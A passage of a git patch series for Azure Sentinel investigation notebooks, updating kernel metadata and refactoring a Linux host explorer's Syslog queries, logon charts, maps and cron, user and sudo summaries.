"LaTeX_envs_menu_present": true, @@ -721,4 +721,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} \ No newline at end of file +} diff --git a/Notebook Template.ipynb b/Notebook Template.ipynb index d8319484..1ab9294c 100644 --- a/Notebook Template.ipynb +++ b/Notebook Template.ipynb @@ -93,7 +93,7 @@ " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", - " check_mp_ver(REQ_PYTHON_VER)\n", + " check_mp_ver(REQ_MSTICPY_VER)\n", " \n", "\n", "# If not using Azure Notebooks, install msticpy with\n", From 22e33db878ba283d1097bb64c5842c5caf42e645 Mon Sep 17 00:00:00 2001 From: petebryan Date: Thu, 25 Jun 2020 15:05:00 -0700 Subject: [PATCH 08/23] merge and kernelspec --- Entity Explorer - Account.ipynb | 6 +- Entity Explorer - Domain & URL.ipynb | 6 +- Entity Explorer - IP Address.ipynb | 6 +- Entity Explorer - Linux Host.ipynb | 738 +++---- Entity Explorer - Windows Host.ipynb | 6 +- Getting Started with Azure ML Notebooks.ipynb | 840 ++++++++ ...tarted with Azure Sentinel Notebooks.ipynb | 1845 ++++++++--------- ...nomalous Office365 Exchange Sessions.ipynb | 6 +- Guided Investigation - Anomaly Lookup.ipynb | 2 +- ...nvestigation - MDATP Webshell Alerts.ipynb | 6 +- Guided Investigation - Process-Alerts.ipynb | 6 +- Guided Triage - Alerts.ipynb | 14 +- SigmaRuleImporter.ipynb | 2 +- TroubleShootingNotebooks.ipynb | 2 +- 14 files changed, 2075 insertions(+), 1410 deletions(-) create mode 100644 Getting Started with Azure ML Notebooks.ipynb diff --git a/Entity Explorer - Account.ipynb b/Entity Explorer - Account.ipynb index fbb4059d..dd39bd9c 100644 --- a/Entity Explorer - Account.ipynb +++ b/Entity Explorer - Account.ipynb @@ -1589,9 +1589,9 @@ "celltoolbar": "Attachments", "hide_input": false, "kernelspec": { - "display_name": "Python (condadev)", + "display_name": "Python 3.6", "language": "python", - "name": "condadev" + "name": "python36" }, "language_info": { "codemirror_mode": { @@ -1603,7 +1603,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.10" + "version": "3.6.7" }, "latex_envs": { "LaTeX_envs_menu_present": true, diff --git a/Entity Explorer - Domain & URL.ipynb b/Entity Explorer - Domain & URL.ipynb index fd3b5ea9..ded23f94 100644 --- a/Entity Explorer - Domain & URL.ipynb +++ b/Entity Explorer - Domain & URL.ipynb @@ -1338,9 +1338,9 @@ "celltoolbar": "Tags", "hide_input": false, "kernelspec": { - "display_name": "Python (condadev)", + "display_name": "Python 3.6", "language": "python", - "name": "condadev" + "name": "python36" }, "language_info": { "codemirror_mode": { @@ -1352,7 +1352,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.10" + "version": "3.6.7" }, "latex_envs": { "LaTeX_envs_menu_present": true, diff --git a/Entity Explorer - IP Address.ipynb b/Entity Explorer - IP Address.ipynb index 68570067..a6470e2e 100644 --- a/Entity Explorer - IP Address.ipynb +++ b/Entity Explorer - IP Address.ipynb @@ -1874,9 +1874,9 @@ "metadata": { "hide_input": false, "kernelspec": { - "display_name": "Python (condadev)", + "display_name": "Python 3.6", "language": "python", - "name": "condadev" + "name": "python36" }, "language_info": { "codemirror_mode": { @@ -1888,7 +1888,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.10" + "version": "3.6.7" }, "latex_envs": { "LaTeX_envs_menu_present": true, diff --git a/Entity Explorer - Linux Host.ipynb b/Entity Explorer - Linux Host.ipynb index de75b26b..17cdc331 100644 --- a/Entity Explorer - Linux Host.ipynb +++ b/Entity Explorer - Linux Host.ipynb @@ -8,7 +8,7 @@ "
\n", "  Details...\n", "\n", - " **Notebook Version:** 1.0
\n", + " **Notebook Version:** 1.1
\n", " **Python Version:** Python 3.6 (including Python 3.6 - AzureML)
\n", " **Required Packages**: kqlmagic, msticpy, pandas, pandas_bokeh, numpy, matplotlib, networkx, seaborn, datetime, ipywidgets, ipython, dnspython, ipwhois, folium, maxminddb_geolite2
\n", " **Platforms Supported**:\n", @@ -110,16 +110,31 @@ "extra_imports = [\n", " \"msticpy.nbtools, observationlist\",\n", " \"msticpy.nbtools.foliummap, get_map_center\",\n", + " \"msticpy.common.utility, MsticpyException\",\n", + " \"msticpy.sectools.syslog_utils, create_host_record\",\n", + " \"msticpy.sectools.syslog_utils, cluster_syslog_logons_df\",\n", + " \"msticpy.sectools.syslog_utils, risky_sudo_sessions\",\n", + " \"msticpy.sectools.ip_utils, convert_to_ip_entities\",\n", + " \"msticpy.sectools, auditdextract\",\n", + " \"msticpy.sectools.cmd_line, risky_cmd_line\",\n", " \"pyvis.network, Network\",\n", " \"re\",\n", + " \"math, pi\",\n", " \"ipwhois, IPWhois\",\n", - " \"pandas_bokeh\",\n", + " \"bokeh.plotting, show\",\n", + " \"bokeh.plotting, Row\",\n", + " \"bokeh.models, ColumnDataSource\",\n", + " \"bokeh.models, FactorRange\",\n", + " \"bokeh.transform, factor_cmap\",\n", + " \"bokeh.transform, cumsum\",\n", " \"bokeh.palettes, viridis\",\n", " \"dns, reversename\",\n", - " \"dns, resolver\"\n", + " \"dns, resolver\",\n", + " \"ipaddress, ip_address\",\n", + " \"functools, lru_cache\"\n", "]\n", "additional_packages = [\n", - " \"oauthlib\", \"pyvis\", \"python-whois\", \"pandas_bokeh\"\n", + " \"oauthlib\", \"pyvis\", \"python-whois\"\n", "]\n", "nbinit.init_notebook(\n", " namespace=globals(),\n", @@ -131,12 +146,7 @@ " \"layout\": widgets.Layout(width=\"95%\"),\n", " \"style\": {\"description_width\": \"initial\"},\n", "}\n", - "\n", - "from msticpy.sectools import auditdextract\n", - "from msticpy.sectools.cmd_line import *\n", - "from msticpy.sectools.ip_utils import convert_to_ip_entities\n", - "from msticpy.sectools.syslog_utils import *\n", - "from msticpy.sectools.syslog_utils import create_host_record, cluster_syslog_logons_df, risky_sudo_sessions\n" + "from bokeh.plotting import figure" ] }, { @@ -188,12 +198,12 @@ "try:\n", " ws_id = ws_config['workspace_id']\n", " ten_id = ws_config['tenant_id']\n", - " display(HTML(\"Workspace details collected from config file\"))\n", + " md(\"Workspace details collected from config file\")\n", " config = True\n", "except:\n", - " display(HTML('Please go to your Log Analytics workspace, copy the workspace ID'\n", - " ' and/or tenant Id and paste here to enable connection to the workspace and querying of it..
'))\n", - " ws_id = mnbwidgets.GetEnvironmentKey(env_var='WORKSPACE_ID',\n", + " md('Please go to your Log Analytics workspace, copy the workspace ID'\n", + " ' and/or tenant Id and paste here to enable connection to the workspace and querying of it..
')\n", + " ws_id = nbwidgets.GetEnvironmentKey(env_var='WORKSPACE_ID',\n", " prompt='Please enter your Log Analytics Workspace Id:', auto_display=True)\n", " ten_id = nbwidgets.GetEnvironmentKey(env_var='TENANT_ID',\n", " prompt='Please enter your Log Analytics Tenant Id:', auto_display=True)\n", @@ -216,7 +226,7 @@ " ws_id = ws_id.value\n", " ten_id = ten_id.value\n", "qry_prov = QueryProvider('LogAnalytics')\n", - "qry_prov.connect(connection_str=ws_config.code_connect_str)\n" + "qry_prov.connect(connection_str=ws_config.code_connect_str)" ] }, { @@ -239,7 +249,7 @@ "outputs": [], "source": [ "query_times = nbwidgets.QueryTime(units='day',\n", - " max_before=20, max_after=1, before=3)\n", + " max_before=14, max_after=1, before=1)\n", "query_times.display()" ] }, @@ -254,53 +264,19 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-06-24T01:53:06.136974Z", - "start_time": "2020-06-24T01:53:06.114975Z" - } - }, - "outputs": [], - "source": [ - "host_text = widgets.Text(\n", - " description=\"Enter the Host name to search for:\", **WIDGET_DEFAULTS\n", - ")\n", - "display(host_text)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-06-24T01:53:15.184975Z", - "start_time": "2020-06-24T01:53:13.262978Z" - } - }, + "metadata": {}, "outputs": [], "source": [ - "hostname = None\n", - "items = []\n", - "hosts_query = f\"\"\" Syslog | where TimeGenerated between (datetime({query_times.start}) .. datetime({query_times.end})) \n", - " | where Computer contains \"{host_text.value}\" | distinct Computer | limit 490000\"\"\"\n", - "print(\"Collecting details on avaliable hosts...\")\n", - "hosts_df = qry_prov._query_provider.query(query=hosts_query)\n", - "if isinstance(hosts_df, pd.DataFrame) and not hosts_df.empty:\n", - " items = hosts_df[\"Computer\"].unique().tolist()\n", - "\n", - "if len(items) > 1:\n", - " print(f\"Multiple matches for '{host_text.value}'. Please select a host from the list.\")\n", - " choose_host = nbwidgets.SelectItem(\n", - " item_list=items,\n", - " description=\"Select the host.\",\n", - " auto_display=True,\n", - " )\n", - " \n", - "elif not hosts_df.empty:\n", - " hostname = items[0]\n", - " md(f\"Unique host found: {hostname}\")\n", + "#Get a list of hosts with syslog data in our hunting timegframe to provide easy selection\n", + "syslog_query = f\"\"\"Syslog | where TimeGenerated between (datetime({query_times.start}) .. datetime({query_times.end})) | summarize by Computer\"\"\"\n", + "md(\"Collecting avaliable host details...\")\n", + "hosts_list = qry_prov._query_provider.query(query=syslog_query)\n", + "if isinstance(hosts_list, pd.DataFrame) and not hosts_list.empty:\n", + " hosts = hosts_list[\"Computer\"].unique().tolist()\n", + " host_text = nbwidgets.SelectString(description='Select host to investigate: ', \n", + " item_list=hosts, width='75%', auto_display=True)\n", "else:\n", - " md(f\"Host not found: {host_text.value}\")" + " display(md(\"There are no hosts with syslog data in this time period to investigate\"))" ] }, { @@ -314,91 +290,81 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-06-24T01:53:28.770245Z", - "start_time": "2020-06-24T01:53:15.945975Z" - } - }, + "metadata": {}, "outputs": [], "source": [ - "print(\"Collecting host details. This may take a few minutes...\")\n", - "if not hostname:\n", - " hostname = choose_host.value\n", + "hostname=host_text.value\n", + "az_net_df = None\n", "# Collect data on the host\n", - "syslog_query = f\"\"\" Syslog | where TimeGenerated between (datetime({query_times.start}) .. datetime({query_times.end})) \n", - " | where Computer contains \"{hostname}\" \"\"\"\n", - "all_syslog = qry_prov.exec_query(query=syslog_query)\n", - "syslog_data = all_syslog[all_syslog['Computer'] == f'{hostname}']\n", - "heartbeat_query = f\"\"\"Heartbeat | where TimeGenerated >= datetime({query_times.start}) | where TimeGenerated <= datetime({query_times.end})| where Computer == '{hostname}' | top 1 by TimeGenerated desc nulls last\"\"\"\n", - "if \"AzureNetworkAnalytics_CL\" in qry_prov.schema:\n", - " aznet_query = f\"\"\"AzureNetworkAnalytics_CL | where TimeGenerated >= datetime({query_times.start}) | where TimeGenerated <= datetime({query_times.end}) | where VirtualMachine_s has '{hostname}' | where ResourceType == 'NetworkInterface' | top 1 by TimeGenerated desc | project PrivateIPAddresses = PrivateIPAddresses_s, PublicIPAddresses = PublicIPAddresses_s\"\"\"\n", - " az_net_df = qry_prov.exec_query(query=aznet_query)\n", - "host_hb = qry_prov.exec_query(query=heartbeat_query)\n", - "\n", - "# Create host entity record, with Azure network data if any is avaliable\n", - "if isinstance(az_net_df, pd.DataFrame):\n", - " host_entity = create_host_record(\n", - " syslog_df=syslog_data, heartbeat_df=host_hb, az_net_df=az_net_df)\n", + "all_syslog_query = f\"Syslog | where TimeGenerated between (datetime({query_times.start}) .. datetime({query_times.end})) | where Computer =~ '{hostname}'\"\"\"\n", + "all_syslog_data = qry_prov.exec_query(all_syslog_query)\n", + "if isinstance(all_syslog_data, pd.DataFrame) and not all_syslog_data.empty:\n", + " heartbeat_query = f\"\"\"Heartbeat | where TimeGenerated >= datetime({query_times.start}) | where TimeGenerated <= datetime({query_times.end})| where Computer == '{hostname}' | top 1 by TimeGenerated desc nulls last\"\"\"\n", + " if \"AzureNetworkAnalytics_CL\" in qry_prov.schema:\n", + " aznet_query = f\"\"\"AzureNetworkAnalytics_CL | where TimeGenerated >= datetime({query_times.start}) | where TimeGenerated <= datetime({query_times.end}) | where VirtualMachine_s has '{hostname}' | where ResourceType == 'NetworkInterface' | top 1 by TimeGenerated desc | project PrivateIPAddresses = PrivateIPAddresses_s, PublicIPAddresses = PublicIPAddresses_s\"\"\"\n", + " print(\"Getting network data...\")\n", + " az_net_df = qry_prov.exec_query(query=aznet_query)\n", + " print(\"Getting host data...\")\n", + " host_hb = qry_prov.exec_query(query=heartbeat_query)\n", + "\n", + " # Create host entity record, with Azure network data if any is avaliable\n", + " if az_net_df is not None and isinstance(az_net_df, pd.DataFrame) and not az_net_df.empty:\n", + " host_entity = create_host_record(syslog_df=all_syslog_data, heartbeat_df=host_hb, az_net_df=az_net_df)\n", + " else:\n", + " host_entity = create_host_record(syslog_df=all_syslog_data, heartbeat_df=host_hb)\n", + "\n", + " md(\n", + " \"Host Details
\"\n", + " f\"Hostname: {host_entity.computer}
\"\n", + " f\"OS: {host_entity.OSType} {host_entity.OSName}
\"\n", + " f\"IP Address: {host_entity.IPAddress.Address}
\"\n", + " f\"Location: {host_entity.IPAddress.Location.CountryName}
\"\n", + " f\"Installed Applications: {host_entity.Applications}
\"\n", + " )\n", "else:\n", - " host_entity = create_host_record(\n", - " syslog_df=syslog_data, heartbeat_df=host_hb)\n", - "\n", - "display(\n", - " Markdown(\n", - " \"***Host Details***\\n\\n\"\n", - " f\"**Hostname**: {host_entity.computer} \\n\\n\"\n", - " f\"**OS**: {host_entity.OSType} {host_entity.OSName}\\n\\n\"\n", - " f\"**IP Address**: {host_entity.IPAddress.Address}\\n\\n\"\n", - " f\"**Location**: {host_entity.IPAddress.Location.CountryName}\\n\\n\"\n", - " f\"**Installed Applications**: {host_entity.Applications}\\n\\n\"\n", - " )\n", - ")\n", - "rel_alert_select = None\n", - "sudo_events = None" + " md_warn(\"No Syslog data found, check hostname and timeframe.\")\n", + " md(\"The data query may be timing out, consider reducing the timeframe size.\")" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ - "### Host Alerts\n", - "This section provides an overview of any security alerts in Azure Sentinel related to this host, this will help scope and guide our hunt." + "### Host Alerts & Bookmarks\n", + "This section provides an overview of any security alerts or Hunting Bookmarks in Azure Sentinel related to this host, this will help scope and guide our hunt." ] }, { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-06-24T01:53:31.570371Z", - "start_time": "2020-06-24T01:53:30.880295Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "related_alerts = qry_prov.SecurityAlert.list_related_alerts(\n", " query_times, host_name=hostname)\n", - "\n", + "realted_bookmarks = qry_prov.AzureSentinel.list_bookmarks_for_entity(query_times, entity_id=hostname)\n", "if isinstance(related_alerts, pd.DataFrame) and not related_alerts.empty:\n", " host_alert_items = (related_alerts[['AlertName', 'TimeGenerated']]\n", " .groupby('AlertName').TimeGenerated.agg('count').to_dict())\n", "\n", " def print_related_alerts(alertDict, entityType, entityName):\n", " if len(alertDict) > 0:\n", - " md(f\"### Found {len(alertDict)} different alert types related to this {entityType} (\\'{entityName}\\')\")\n", + " md(f\"Found {len(alertDict)} different alert types related to this {entityType} (\\'{entityName}\\')\")\n", " for (k, v) in alertDict.items():\n", " md(f\"- {k}, Count of alerts: {v}\")\n", " else:\n", " md(f\"No alerts for {entityType} entity \\'{entityName}\\'\")\n", "\n", - "\n", - "# Display alerts on timeline to aid in visual grouping\n", " print_related_alerts(host_alert_items, 'host', host_entity.HostName)\n", - " x = nbdisplay.display_timeline(\n", + " nbdisplay.display_timeline(\n", " data=related_alerts, source_columns=[\"AlertName\"], title=\"Host alerts over time\", height=300, color=\"red\")\n", "else:\n", - " md('No related alerts found.')" + " md('No related alerts found.')\n", + " \n", + "if isinstance(realted_bookmarks, pd.DataFrame) and not realted_bookmarks.empty:\n", + " nbdisplay.display_timeline(data=realted_bookmarks, source_columns=[\"BookmarkName\"], height=200, color=\"orange\", title=\"Host bookmarks over time\",)\n", + "else:\n", + " md('No related bookmarks found.')" ] }, { @@ -488,16 +454,12 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-06-24T01:53:35.450989Z", - "start_time": "2020-06-24T01:53:34.273026Z" - } - }, + "metadata": {}, "outputs": [], "source": [ + "\n", "# Collect logon events for this, seperate them into sucessful and unsucessful and cluster sucessful one into sessions\n", - "logon_events = qry_prov.LinuxSyslog.user_logon(invest_times, host_name=hostname)\n", + "logon_events = qry_prov.LinuxSyslog.user_logon(start=invest_times.start, end=invest_times.end, host_name=hostname)\n", "remote_logons = None\n", "failed_logons = None\n", "\n", @@ -508,62 +470,75 @@ " print(\"No logon events in this timeframe\")\n", "\n", "\n", - "if (remote_logons is not None and not remote_logons.empty) or (failed_logons is not None and not failed_logons.empty):\n", - " # Provide a timeline of sucessful and failed logon attempts to aid identification of potential brute force attacks\n", + "if not remote_logons.empty or not failed_logons.empty:\n", + "#Provide a timeline of sucessful and failed logon attempts to aid identification of potential brute force attacks\n", " display(Markdown('### Timeline of sucessful host logons.'))\n", - " tl_data = {\"Remote Logons\": {\"data\": remote_logons, \"source_columns\": ['User', 'ProcessName', 'SourceIP'], \"color\": \"Green\"},\n", - " \"Failed Logons\": {\"data\": failed_logons, \"source_columns\": ['User', 'ProcessName', 'SourceIP'], \"time_column\": \"TimeGenerated\", \"color\": \"Red\"}}\n", - " logon_timeline = nbdisplay.display_timeline(\n", - " data=tl_data, height=300, alert=rel_alert_select.selected_alert)\n", - " palette = viridis(5)\n", - " # Graph out failed/sucessful logons by account and by logon process\n", - " all_df = pd.DataFrame(dict(successful=remote_logons['ProcessName'].value_counts(\n", - " ), failed=failed_logons['ProcessName'].value_counts())).fillna(0)\n", - " fail_data = pd.value_counts(failed_logons['User'].values, sort=True).head(\n", - " 10).reset_index(name='value').rename(columns={'User': 'Count'})\n", - " fail_pie = None\n", - " sucess_pie = None\n", - " if not fail_data.empty:\n", - " fail_pie = fail_data.plot_bokeh.pie(x='index', y=\"value\", colormap=palette,\n", - " show_figure=False, title=\"Relative Frequencies of Failed Logons by Account\")\n", - " sucess_data = pd.value_counts(remote_logons['User'].values, sort=False).reset_index(\n", - " name='value').rename(columns={'User': 'Count'})\n", - " if not sucess_data.empty:\n", - " sucess_pie = sucess_data.plot_bokeh.pie(x='index', colormap=palette, y=\"value\",\n", - " show_figure=False, title=\"Relative Frequencies of Sucessful Logons by Account\")\n", + " tooltip_cols = ['User', 'ProcessName', 'SourceIP']\n", + " if rel_alert_select is not None:\n", + " logon_timeline = nbdisplay.display_timeline(data=remote_logons, overlay_data=failed_logons, source_columns=tooltip_cols, height=200, overlay_color=\"red\", alert = rel_alert_select.selected_alert)\n", + " else:\n", + " logon_timeline = nbdisplay.display_timeline(data=remote_logons, overlay_data=failed_logons, source_columns=tooltip_cols, height=200, overlay_color=\"red\")\n", + " display(Markdown('Key:

Sucessful logons

Failed Logon Attempts (via su)

')) \n", + "\n", + " all_df = pd.DataFrame(dict(successful= remote_logons['ProcessName'].value_counts(), failed = failed_logons['ProcessName'].value_counts())).fillna(0)\n", + " fail_data = pd.value_counts(failed_logons['User'].values, sort=True).head(10).reset_index(name='value').rename(columns={'User':'Count'})\n", + " fail_data['angle'] = fail_data['value']/fail_data['value'].sum() * 2*pi\n", + " fail_data['color'] = viridis(len(fail_data))\n", + " fp = figure(plot_height=350, plot_width=450, title=\"Relative Frequencies of Failed Logons by Account\", toolbar_location=None, tools=\"hover\", tooltips=\"@index: @value\")\n", + " fp.wedge(x=0, y=1, radius=0.5, start_angle=cumsum('angle', include_zero=True), end_angle=cumsum('angle'), line_color=\"white\", fill_color='color', legend='index', source=fail_data)\n", + "\n", + " sucess_data = pd.value_counts(remote_logons['User'].values, sort=False).reset_index(name='value').rename(columns={'User':'Count'})\n", + " sucess_data['angle'] = sucess_data['value']/sucess_data['value'].sum() * 2*pi\n", + " sucess_data['color'] = viridis(len(sucess_data))\n", + " sp = figure(plot_height=350, width=450, title=\"Relative Frequencies of Sucessful Logons by Account\", toolbar_location=None, tools=\"hover\", tooltips=\"@index: @value\")\n", + " sp.wedge(x=0, y=1, radius=0.5, start_angle=cumsum('angle', include_zero=True), end_angle=cumsum('angle'), line_color=\"white\", fill_color='color', legend='index', source=sucess_data)\n", + "\n", + " fp.axis.axis_label=None\n", + " fp.axis.visible=False\n", + " fp.grid.grid_line_color = None\n", + " sp.axis.axis_label=None\n", + " sp.axis.visible=False\n", + " sp.grid.grid_line_color = None\n", + "\n", + "\n", " processes = all_df.index.values.tolist()\n", - " fail_sucess_data = pd.DataFrame({'processes': processes,\n", - " 'sucess': all_df['successful'].values.tolist(),\n", - " 'failure': all_df['failed'].values.tolist()})\n", - "\n", - " process_bar = fail_sucess_data.plot_bokeh.bar(\n", - " x=\"processes\", colormap=palette, show_figure=False, title=\"Failed and Sucessful logon attempts by process\")\n", - " pandas_bokeh.plot_grid(\n", - " [[fail_pie, sucess_pie], [process_bar]], plot_width=450, plot_height=300)\n", - "\n", - " # Convert logon IPs to IP entities in order to get location\n", - " ip_entity = entityschema.IpAddress()\n", - " #Is there a better way to do this rather than reseting the list each time.\n", - " ip_list = []\n", - " for ip_logon in remote_logons['SourceIP']:\n", - " ip_list.extend(convert_to_ip_entities(ip_logon))\n", - " ip_fail_list = []\n", - " for ip_fail in failed_logons['SourceIP']:\n", - " ip_fail_list.extend(convert_to_ip_entities(ip_fail))\n", - "\n", - " # Get center location of all IP locaitons to set map default\n", + " results = all_df.columns.values.tolist()\n", + " fail_sucess_data = {'processes' :processes,\n", + " 'sucess' : all_df['successful'].values.tolist(),\n", + " 'failure': all_df['failed'].values.tolist()}\n", + "\n", + " palette = viridis(2)\n", + " x = [ (process, result) for process in processes for result in results ]\n", + " counts = sum(zip(fail_sucess_data['sucess'], fail_sucess_data['failure']), ()) \n", + " source = ColumnDataSource(data=dict(x=x, counts=counts))\n", + " b = figure(x_range=FactorRange(*x), plot_height=350, plot_width=450, title=\"Failed and Sucessful logon attempts by process\",\n", + " toolbar_location=None, tools=\"\", y_minor_ticks=2)\n", + " b.vbar(x='x', top='counts', width=0.9, source=source, line_color=\"white\",\n", + " fill_color=factor_cmap('x', palette=palette, factors=results, start=1, end=2))\n", + " b.y_range.start = 0\n", + " b.x_range.range_padding = 0.1\n", + " b.xaxis.major_label_orientation = 1\n", + " b.xgrid.grid_line_color = None\n", + "\n", + " show(Row(sp,fp,b))\n", + "\n", + " ip_list = [convert_to_ip_entities(i)[0] for i in remote_logons['SourceIP']]\n", + " ip_fail_list = [convert_to_ip_entities(i)[0] for i in failed_logons['SourceIP']]\n", + " \n", " location = get_map_center(ip_list + ip_fail_list)\n", - " folium_map = FoliumMap(location=location, zoom_start=4)\n", - "\n", - " # Map logon locations to allow for identification of anomolous locations\n", + " folium_map = FoliumMap(location = location, zoom_start=1.4)\n", + " #Map logon locations to allow for identification of anomolous locations\n", " if len(ip_fail_list) > 0:\n", - " display(HTML('

Map of Originating Location of Logon Attempts

'))\n", + " md('

Map of Originating Location of Logon Attempts

')\n", " icon_props = {'color': 'red'}\n", " folium_map.add_ip_cluster(ip_entities=ip_fail_list, **icon_props)\n", " if len(ip_list) > 0:\n", " icon_props = {'color': 'green'}\n", " folium_map.add_ip_cluster(ip_entities=ip_list, **icon_props)\n", - " display(folium_map.folium_map)\n" + " display(folium_map.folium_map)\n", + " md('

Warning: the folium mapping library '\n", + " 'does not display correctly in some browsers.


'\n", + " 'If you see a blank image please retry with a different browser.') \n" ] }, { @@ -586,7 +561,6 @@ "outputs": [], "source": [ "import datetime as dt\n", - "\n", "logon_sessions_df = None\n", "try:\n", " print(\"Clustering logon sessions...\")\n", @@ -636,7 +610,7 @@ " .to_string(header=False, index=False, index_names=False)\n", " .split('\\n')\n", " )\n", - " logon_sessions_df[\"Key\"] = logon_items\n", + " logon_sessions_df[\"Key\"] = logon_items \n", " logon_sessions_df.set_index('Key', inplace=True)\n", " logon_dict = logon_sessions_df[['User','Start (UTC)', 'End (UTC)']].to_dict('index')\n", "\n", @@ -664,6 +638,7 @@ }, "outputs": [], "source": [ + "from IPython.core.debugger import set_trace\n", "def view_syslog(selected_facility):\n", " display(syslog_events.query('Facility == @selected_facility'))\n", "\n", @@ -678,7 +653,9 @@ " else:\n", " return \"\"\n", "\n", - "\n", + "crn_tl_data = {}\n", + "user_tl_data = {}\n", + "sudo_tl_data = {}\n", "sudo_sessions = None\n", "tooltip_cols = ['SyslogMessage']\n", "if logon_sessions_df is not None:\n", @@ -690,31 +667,24 @@ " start=session.StartTimeUtc, end=session.EndTimeUtc, host_name=session.Host)\n", " sudo_events = qry_prov.LinuxSyslog.sudo_activity(\n", " start=session.StartTimeUtc, end=session.EndTimeUtc, host_name=session.Host, user=session.Account)\n", - "\n", + " \n", " if isinstance(sudo_events, pd.DataFrame) and not sudo_events.empty:\n", - " sudo_events[['Command', 'CommandCall']].replace('', np.nan, inplace=True)\n", " try:\n", - " sudo_sessions = cluster_syslog_logons_df(logon_events=(sudo_events))\n", - " except:\n", + " sudo_sessions = cluster_syslog_logons_df(logon_events=sudo_events)\n", + " except MsticpyException:\n", " pass\n", "\n", " # Display summary of cron activity in session\n", " cron_events = qry_prov.LinuxSyslog.cron_activity(\n", " start=session.StartTimeUtc, end=session.EndTimeUtc, host_name=session.Host)\n", - " if not isinstance(cron_events, pd.DataFrame):\n", - " display(HTML(\n", - " f'

No Cron activity for {session.Host} between {session.StartTimeUtc} and {session.EndTimeUtc}

'))\n", - " crn_tl_data = {}\n", + " if not isinstance(cron_events, pd.DataFrame) or cron_events.empty:\n", + " md(f'

No Cron activity for {session.Host} between {session.StartTimeUtc} and {session.EndTimeUtc}

')\n", " else:\n", - "\n", " cron_events['CMD'].replace('', np.nan, inplace=True)\n", - "\n", " crn_tl_data = {\"Cron Exections\": {\"data\": cron_events[['TimeGenerated', 'CMD', 'CronUser', 'SyslogMessage']].dropna(), \"source_columns\": tooltip_cols, \"color\": \"Blue\"},\n", " \"Cron Edits\": {\"data\": cron_events.loc[cron_events['SyslogMessage'].str.contains('EDIT')], \"source_columns\": tooltip_cols, \"color\": \"Green\"}}\n", - "\n", - " display(HTML('

Most common commands run by cron:

'))\n", - " display(HTML(\n", - " 'This shows how often each cron job was exected within the specified time window'))\n", + " md('

Most common commands run by cron:

')\n", + " md('This shows how often each cron job was exected within the specified time window')\n", " cron_commands = (cron_events[['EventTime', 'CMD']]\n", " .groupby(['CMD']).count()\n", " .dropna()\n", @@ -727,10 +697,8 @@ " # Display summary of user and group creations, deletions and modifications during the session\n", " user_activity = qry_prov.LinuxSyslog.user_group_activity(\n", " start=session.StartTimeUtc, end=session.EndTimeUtc, host_name=session.Host)\n", - "\n", - " if not isinstance(user_activity, pd.DataFrame) and not use_activity.empty:\n", - " display(HTML(\n", - " f' No user or group moidifcations for {session.Host} between {session.StartTimeUtc} and {session.EndTimeUtc}'))\n", + " if not isinstance(user_activity, pd.DataFrame) or user_activity.empty:\n", + " md(f'

No user or group moidifcations for {session.Host} between {session.StartTimeUtc} and {session.EndTimeUtc}>

')\n", " else:\n", " add_events = user_activity[user_activity['UserGroupAction'].str.contains(\n", " 'Add')]\n", @@ -740,12 +708,11 @@ " 'Modify')]\n", " user_activity['Count'] = user_activity.groupby('UserGroupAction')['UserGroupAction'].transform('count')\n", " if add_events.empty and del_events.empty and mod_events.empty:\n", - " display(HTML('

Users and groups added or deleted:'))\n", - " display(HTML(\n", - " f'No users or groups were added or deleted on {host_entity.HostName} between {query_times.start} and {query_times.end}'))\n", + " md('

Users and groups added or deleted:')\n", + " md(f'No users or groups were added or deleted on {host_entity.HostName} between {query_times.start} and {query_times.end}')\n", " user_tl_data = {}\n", " else:\n", - " display(HTML(\"

Users added, modified or deleted

\"))\n", + " md(\"

Users added, modified or deleted

\")\n", " display(user_activity[['UserGroupAction','Count']].drop_duplicates().style.hide_index())\n", " account_actions = pd.DataFrame({\"User Additions\": [add_events.replace(\"\", np.nan).dropna(subset=['User'])['User'].unique().tolist()],\n", " \"User Modifications\": [mod_events.replace(\"\", np.nan).dropna(subset=['User'])['User'].unique().tolist()],\n", @@ -754,74 +721,64 @@ " user_tl_data = {\"User adds\": {\"data\": add_events, \"source_columns\": tooltip_cols, \"color\": \"Orange\"},\n", " \"User deletes\": {\"data\": del_events, \"source_columns\": tooltip_cols, \"color\": \"Red\"},\n", " \"User modfications\": {\"data\": mod_events, \"source_columns\": tooltip_cols, \"color\": \"Grey\"}}\n", + " \n", " # Display sudo activity during session\n", - " if sudo_sessions is None:\n", - " md(f\"No Sudo sessions for {session.Host} between {logon_selection.value.get('Start (UTC)')} and {logon_selection.value.get('End (UTC)')}\")\n", - " sudo_tl_data = {}\n", + " if not isinstance(sudo_sessions, pd.DataFrame) or sudo_sessions.empty:\n", + " md(f\"

No Sudo sessions for {session.Host} between {logon_selection.value.get('Start (UTC)')} and {logon_selection.value.get('End (UTC)')}

